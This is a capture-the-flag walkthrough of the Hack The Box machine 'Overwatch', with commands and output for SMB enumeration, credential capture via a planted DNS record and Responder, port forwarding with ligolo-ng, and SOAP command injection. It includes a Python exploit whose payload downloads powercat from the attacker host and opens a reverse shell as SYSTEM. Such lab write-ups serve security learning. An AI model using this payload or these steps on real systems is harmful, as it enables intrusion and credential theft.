Description
Overwatch is a medium Hack The Box machine that features:
- SMB Enumeration allows accessing to a public share containing a C# desktop application
- C# application reverse engineering to find credentials and an exposed service
- Linked SQL server exploitation by adding a DNS entry pointing to the attacker machine to obtain the MSSQL credentials via the
responderapplication - Reused credentials allow access to the machine via WinRM protocol
- Port Forwarding of the internal port exposed by the C# application
- Privilege Escalation via Command Injection to the SOAP API exposed by the C# application
Footprinting
First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.15.185.
$ ping -c 3 10.129.15.185
PING 10.129.15.185 (10.129.15.185) 56(84) bytes of data.
64 bytes from 10.129.15.185: icmp_seq=1 ttl=127 time=47.8 ms
64 bytes from 10.129.15.185: icmp_seq=2 ttl=127 time=47.5 ms
64 bytes from 10.129.15.185: icmp_seq=3 ttl=127 time=47.7 ms
--- 10.129.15.185 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 47.498/47.635/47.756/0.105 ms
The machine is active and with the TTL that equals 127 (128 minus 1 jump) we can assure that it is an Windows machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.
$ sudo nmap 10.129.15.185 -sS -Pn -p- -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.15.185
Host is up (0.048s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
6520/tcp open unknown
9389/tcp open adws
49664/tcp open unknown
49667/tcp open unknown
55619/tcp open unknown
55620/tcp open unknown
57713/tcp open unknown
64846/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 4.84 seconds
We get many open ports, maybe related to an Active Directory environment.
Enumeration
Then we do a more advanced scan, with service version and scripts.
$ nmap 10.129.15.185 -sV -sC -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,6520 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.15.185
Host is up (0.048s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=S200401.overwatch.htb
| Not valid before: 2025-12-07T15:16:06
|_Not valid after: 2026-06-08T15:16:06
| rdp-ntlm-info:
| Target_Name: OVERWATCH
| NetBIOS_Domain_Name: OVERWATCH
| NetBIOS_Computer_Name: S200401
| DNS_Domain_Name: overwatch.htb
| DNS_Computer_Name: S200401.overwatch.htb
| DNS_Tree_Name: overwatch.htb
|_ Product_Version: 10.0.20348
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows
6520/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-01-22T14:17:51
|_Not valid after: 2056-01-22T14:17:51
| ms-sql-info:
| 10.129.15.185:6520:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 6520
| ms-sql-ntlm-info:
| 10.129.15.185:6520:
| Target_Name: OVERWATCH
| NetBIOS_Domain_Name: OVERWATCH
| NetBIOS_Computer_Name: S200401
| DNS_Domain_Name: overwatch.htb
| DNS_Computer_Name: S200401.overwatch.htb
| DNS_Tree_Name: overwatch.htb
|_ Product_Version: 10.0.20348
Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.03 seconds
We find that this machine is the Domain Controller of the domain overwatch.htb with S200401 hostname. We find an uncommon port for the SQL Server service, 6520. Let’s add the domain to the /etc/hosts file.
$ echo "10.129.15.185 overwatch.htb" | sudo tee -a /etc/hosts
$ echo "10.129.15.185 S200401.overwatch.htb" | sudo tee -a /etc/hosts
We enumerate the SMB service to find public available shares.
$ netexec smb overwatch.htb -u 'Guest' -p '' --shares
SMB 10.129.15.185 445 S200401 [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:False)
SMB 10.129.15.185 445 S200401 [+] overwatch.htb\Guest:
SMB 10.129.15.185 445 S200401 [*] Enumerated shares
SMB 10.129.15.185 445 S200401 Share Permissions Remark
SMB 10.129.15.185 445 S200401 ----- ----------- ------
SMB 10.129.15.185 445 S200401 ADMIN$ Remote Admin
SMB 10.129.15.185 445 S200401 C$ Default share
SMB 10.129.15.185 445 S200401 IPC$ READ Remote IPC
SMB 10.129.15.185 445 S200401 NETLOGON Logon server share
SMB 10.129.15.185 445 S200401 software$ READ
SMB 10.129.15.185 445 S200401 SYSVOL Logon server share
We find one public share, software$, we have read access so we access to it and download all the files recursively.
$ smbclient '//overwatch.htb/software$' -U 'Guest%'
Try "help" to get a list of possible commands.
smb: \> ls
. DH 0 Sat May 17 03:27:07 2025
.. DHS 0 Thu Jan 1 07:46:47 2026
Monitoring DH 0 Sat May 17 03:32:43 2025
7147007 blocks of size 4096. 1782491 blocks available
smb: \> prompt off
smb: \> recurse on
smb: \> mget *
getting file
...
$ ls Monitoring
EntityFramework.dll Microsoft.Management.Infrastructure.dll System.Data.SQLite.dll System.Management.Automation.dll
EntityFramework.SqlServer.dll overwatch.exe System.Data.SQLite.EF6.dll System.Management.Automation.xml
EntityFramework.SqlServer.xml overwatch.exe.config System.Data.SQLite.Linq.dll x64
EntityFramework.xml overwatch.pdb System.Data.SQLite.xml x86
We find that there is a C# application, we are going to reverse engineer the overwatch.exe binary using dotPeek application. We find two classes, Program and MonitoringService. The Main method in Program class starts and opens a WCF service host for MonitoringService, making the service available to clients. It then creates a timer that runs every 30 seconds and triggers the CheckEdgeHistory method periodically. Finally, it keeps the application running until the user presses Enter, after which it cleanly shuts down the service.
private static void Main(string[] args)
{
ServiceHost serviceHost = new ServiceHost(typeof (MonitoringService), Array.Empty<Uri>());
serviceHost.Open();
Console.WriteLine("Service is running...");
Timer timer = new Timer(30000.0);
timer.Elapsed += new ElapsedEventHandler(Program.CheckEdgeHistory);
timer.Start();
Console.WriteLine("Press Enter to exit...");
Console.ReadLine();
serviceHost.Close();
}
In the overwatch.exe.config file we find the base address for the HTTP service, http://overwatch.htb:8000/MonitorService. As we do not see the port 8000 opened, we assume that the service is only available locally in the machine.
...
<services>
<service name="MonitoringService">
<host>
<baseAddresses>
<add baseAddress="http://overwatch.htb:8000/MonitorService" />
</baseAddresses>
</host>
<endpoint address="" binding="basicHttpBinding" contract="IMonitoringService" />
<endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />
</service>
...
Moving to the MonitoringService class we find the credentials of the SQL Server database in a connection string, with sqlsvc username and TI0LKcfHzZw1Vv password.
...
private readonly string connectionString = "Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;";
...
Lately, we find the available KillProcess method that receives a parameter called processName that executes the Stop-Process PowerShell command to close a program. This method is vulnerable to Command Injection, by passing by parameter a command string and then commenting it such as ; command-to-run;#. We will have Remote Command Execution as the user that is running the application if we could access to the service, but not for now.
Exploitation
We move to enumerate the SQL Server available in the 6520 service.
$ impacket-mssqlclient 'sqlsvc:TI0LKcfHzZw1Vv'@overwatch.htb -p 6520 -windows-auth
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (OVERWATCH\sqlsvc guest@master)> enum_links
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
------------------ ---------------- ----------- ------------------ ------------------ ------------ -------
S200401\SQLEXPRESS SQLNCLI SQL Server S200401\SQLEXPRESS NULL NULL NULL
SQL07 SQLNCLI SQL Server SQL07 NULL NULL NULL
Linked Server Local Login Is Self Mapping Remote Login
------------- ----------- --------------- ------------
SQL (OVERWATCH\sqlsvc guest@master)> use_link SQL07
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Login timeout expired".
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "A network-related or instance-specific error has occurred while establishing a connection to SQL Server. Server is not found or not accessible. Check if instance name is correct and if SQL Server is configured to allow remote connections. For more information see SQL Server Books Online.".
ERROR(MSOLEDBSQL): Line 0: Named Pipes Provider: Could not open a connection to SQL Server [64].
We find that there is a linked SQL server available, SQL07, but if we try to use it we receive an error that the connection timed out. The server may not know where to find the SQL07 server if it does not have its entry in the DNS database. So as we have an authenticated user we may try to add an entry to the DNS server of the Active Directory to then start the responder application to spawn a SQL server to capture the MSSQL credentials by retrying to use the the linked server. We start the responder service.
$ sudo responder -I tun0
...
[+] Listening for events...
We add the DNS entry to the Domain Controller by using the bloodyAD tool.
$ bloodyAD -u sqlsvc -p TI0LKcfHzZw1Vv -d overwatch.tb --host overwatch.htb add dnsRecord SQL07 10.10.15.109
[+] SQL07 has been successfully added
Now we return to the MSSQL console, to use the linked server again.
SQL (OVERWATCH\sqlsvc guest@master)> use_link SQL07
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Communication link failure".
ERROR(MSOLEDBSQL): Line 0: TCP Provider: An existing connection was forcibly closed by the remote host.
We receive the SQL Server credentials for the sqlmgmt user with bIhBbzMMnB82yx password.
[MSSQL] Cleartext Client : 10.129.15.185
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx
We can start a remote session to the machine using the WinRM protocol and the evil-winrm-py application.
$ evil-winrm-py -i overwatch.htb -u sqlmgmt -p bIhBbzMMnB82yx
...
evil-winrm-py PS C:\Users\sqlmgmt\Documents> whoami
overwatch\sqlmgmt
Post-Exploitation
We start by enumerating the opened network TCP ports, to check if the previous one in port 8000.
evil-winrm-py PS C:\Users\sqlmgmt\Documents> netstat -an | findstr TCP
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:389 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:464 0.0.0.0:0 LISTENING
TCP 0.0.0.0:593 0.0.0.0:0 LISTENING
TCP 0.0.0.0:636 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING
TCP 0.0.0.0:6520 0.0.0.0:0 LISTENING
TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING
TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING
...
We find that the port is opened in the machine, so we will port-forward it to our machine. We are going to use the ligolo-ng tool to map the Domain Controller local ports to the 240.0.0.1 IP address. We start by starting the proxy in our machine, creating a new network interface and adding the new route.
$ sudo ligolo-proxy -selfcert
...
INFO[0001] Listening on 0.0.0.0:11601
ligolo-ng » interface_create
INFO[0006] Generating a random interface name...
INFO[0006] Creating a new pleasantcroissa interface...
INFO[0006] Interface created!
ligolo-ng » route_add --name pleasantcroissa --route 240.0.0.1/32
INFO[0028] Route created.
Then we push the ligolo-ng agent binary to the remote machine and we start it.
evil-winrm-py PS C:\Users\sqlmgmt\Documents> upload /usr/share/ligolo-ng-common-binaries/ligolo-ng_agent_0.8.2_windows_amd64.exe .
evil-winrm-py PS C:\Users\sqlmgmt\Documents> .\ligolo-ng_agent_0.8.2_windows_amd64.exe -ignore-cert -connect 10.10.15.109:11601
Then in our proxy session we start the tunnel to the machine.
ligolo-ng » session
? Specify a session : 1 - OVERWATCH\sqlmgmt@S200401 - 10.129.15.185:52090 - 005056943649
[Agent : OVERWATCH\sqlmgmt@S200401] » tunnel_start --tun pleasantcroissa
INFO[0152] Starting tunnel to OVERWATCH\sqlmgmt@S200401 (005056943649)
We can now enumerate the service via the http://240.0.0.1:8000/MonitorService endpoint.
We find that the application is exposing a SOAP HTTP API that we have available the wsdl file available, so we check if the KillProcess method is available.
$ curl 'http://240.0.0.1:8000/MonitorService?wsdl'
...
<wsdl:operation name="KillProcess">
<soap:operation soapAction="http://tempuri.org/IMonitoringService/KillProcess" style="document"/>
<wsdl:input>
<soap:body use="literal"/>
</wsdl:input>
<wsdl:output>
<soap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
...
We have the operation available so we are going to code a Python application to upload and run the powercat.ps1 script to spawn a reverse shell. We copy the script and then we start a HTTP server.
$ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
$ python -m http.server 80
We use the following Python script to trigger the vulnerability:
import requests
url = "http://240.0.0.1:8000/MonitorService"
headers = {
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": "http://tempuri.org/IMonitoringService/KillProcess"
}
soap_body = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<KillProcess xmlns="http://tempuri.org/">
<processName>notepad.exe; IEX(New-Object System.Net.Webclient).DownloadString('http://10.10.15.109/powercat.ps1');powercat -c 10.10.15.109 -p 1234 -e powershell;#</processName>
</KillProcess>
</soap:Body>
</soap:Envelope>
"""
response = requests.post(url, data=soap_body, headers=headers)
print("Status:", response.status_code)
print(response.text)
We start a listening TCP port in 1234 port and then we execute the script.
$ nc -nvlp 1234
$ python exploit.py
We receive the reverse shell as the SYSTEM user.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.15.109] from (UNKNOWN) [10.129.15.185] 59116
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Software\Monitoring> whoami
whoami
nt authority\system
Flags
In the SYSTEM shell we can retrieve the user.txt and root.txt flags.
PS C:\Software\Monitoring> type C:\Users\sqlmgmt\Desktop\user.txt
type C:\Users\sqlmgmt\Desktop\user.txt
<REDACTED>
PS C:\Software\Monitoring> type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
<REDACTED>